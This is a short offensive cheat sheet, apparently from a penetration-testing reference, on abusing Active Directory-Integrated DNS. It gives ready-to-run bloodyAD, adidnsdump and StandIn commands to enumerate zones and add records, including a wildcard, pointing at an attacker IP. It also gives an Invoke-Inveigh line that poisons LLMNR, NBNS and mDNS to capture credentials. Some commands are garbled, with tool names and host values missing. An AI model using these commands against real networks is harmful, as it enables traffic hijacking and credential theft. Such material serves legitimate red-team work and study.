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Active Directory - Integrated DNS - ADIDNS

ADIDNS zone DACL (Discretionary Access Control List) enables regular users to create child objects by default, attackers can leverage that and hijack traffic. Active Directory will need some time (~180 seconds) to sync LDAP changes via its DNS dynamic updates protocol.

  • Enumerate all records
    adidnsdump -u DOMAIN\\user --print-zones dc.domain.corp (--dns-tcp)
    # or
    bloodyAD --host -d example.lab -u username -p pass123 get dnsDump
  • Query a node -u 'DOMAIN\user' -p 'password' --record '*' --action query $DomainController (--legacy)
    # or
    bloodyAD -u john.doe -p 'Password123!' --host -d bloody.lab get search --base 'DC=DomainDnsZones,DC=bloody,DC=lab' --filter '(&(name=allmightyDC)(objectClass=dnsNode))' --attr dnsRecord
  • Add a node and attach a record -u 'DOMAIN\user' -p 'password' --record '*' --action add --data $AttackerIP $DomainController
    # or
    bloodyAD --host -d example.lab -u username -p pass123 add dnsRecord dc1.example.lab <Attacker IP>
    bloodyAD --host -d example.lab -u username -p pass123 remove dnsRecord dc1.example.lab <Attacker IP>

The common way to abuse ADIDNS is to set a wildcard record and then passively listen to the network.

Invoke-Inveigh -ConsoleOutput Y -ADIDNS combo,ns,wildcard -ADIDNSThreshold 3 -LLMNR Y -NBNS Y -mDNS Y -Challenge 1122334455667788 -MachineAccounts Y

DNS Reconnaissance

Perform ADIDNS searches

StandIn.exe --dns --limit 20
StandIn.exe --dns --filter SQL --limit 10
StandIn.exe --dns --forest --domain <domain> --user <username> --pass <password>
StandIn.exe --dns --legacy --domain <domain> --user <username> --pass <password>